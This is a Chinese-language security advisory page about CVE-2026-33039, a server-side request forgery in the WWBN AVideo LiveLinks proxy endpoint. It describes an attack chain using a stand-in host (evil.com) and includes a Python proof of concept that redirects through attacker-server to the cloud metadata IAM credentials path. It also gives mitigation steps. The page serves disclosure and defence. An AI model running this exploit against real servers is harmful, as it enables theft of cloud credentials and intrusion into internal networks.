IPBUF安全漏洞报告
English
CVE-2026-33039 CVSS 8.6 高危

CVE-2026-33039: AVideo LiveLinks SSRF漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33039
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SSRFWWBN AVideoOpen RedirectServer-Side Request Forgery

漏洞概述

WWBN AVideo 是一个开源视频平台。在 25.0 及以下版本中,plugin/LiveLinks/proxy.php 端点存在服务端请求伪造 (SSRF) 漏洞。虽然代码通过 isSSRFSafeURL() 对用户提供的 URL 进行了内网/私有网络校验,但仅检查了初始 URL。当初始 URL 返回 HTTP 重定向 (Location header) 时,fakeBrowser() 会直接跟随重定向获取目标而未重新进行校验,导致攻击者可通过控制的重定向访问内部服务(如云元数据、内网地址)。

技术细节

该漏洞位于 plugin/LiveLinks/proxy.php 文件中。应用程序使用 isSSRFSafeURL() 函数来防止 SSRF 攻击,该函数会验证用户提供的 URL 是否指向内部或私有网络(如 127.0.0.1, 192.168.x.x 等)。然而,验证逻辑存在缺陷:它仅对用户直接提交的初始 URL 进行检查。当攻击者构造一个指向恶意服务器的 URL 时,该服务器可以返回一个指向内网敏感资源(如 AWS/GCP 元数据服务 http://169.254.169.254 或内网管理后台)的 301/302 重定向响应。代理组件 fakeBrowser() 在处理响应时,会自动跟随 Location 头部指定的跳转地址,且跳转前不再调用 isSSRFSafeURL() 进行校验。由于无需认证(PR:N)且无用户交互(UI:N),攻击者可利用此缺陷绕过网络边界限制,探测或窃取内网敏感信息。

攻击链分析

STEP 1
1. 侦查
攻击者发现目标使用的是 WWBN AVideo 25.0 或更低版本。
STEP 2
2. 准备重定向
攻击者准备一个外部可控的 URL(例如 http://evil.com/redirect),该 URL 被配置为返回 302 重定向响应,Location 指向内网敏感地址(如 http://169.254.169.254)。
STEP 3
3. 发起请求
攻击者向目标的 /plugin/LiveLinks/proxy.php 端点发送请求,将准备好的外部 URL 作为参数传入。
STEP 4
4. 绕过验证
服务端 isSSRFSafeURL() 函数检查初始 URL(evil.com),判定为非内网地址,验证通过。
STEP 5
5. 执行攻击
fakeBrowser() 组件请求 evil.com,收到重定向指令后直接跟随跳转访问内网地址(169.254.169.254),并将响应返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target AVideo instance target_url = "http://target-avideo-server/plugin/LiveLinks/proxy.php" # Attacker controlled server that redirects to internal metadata service # Set up a server (e.g., using Python http.server) that returns: # HTTP/1.1 302 Found # Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/ attacker_controlled_url = "http://attacker-server/redirect" params = { "url": attacker_controlled_url } # Send request to vulnerable endpoint # The proxy will check 'attacker-server' (safe), then follow redirect to '169.254.169.254' (unsafe) response = requests.get(target_url, params=params) print(f"Status Code: {response.status_code}") print("Response Body (Potential Internal Data):") print(response.text)

影响范围

WWBN AVideo <= 25.0

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界处封锁对 plugin/LiveLinks/proxy.php 端点的访问,或通过 WAF 规则拦截包含内网 IP 段特征的响应内容。同时,确保云主机的元数据服务(如 IMDSv2)已配置为强制使用会话令牌,增加利用难度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表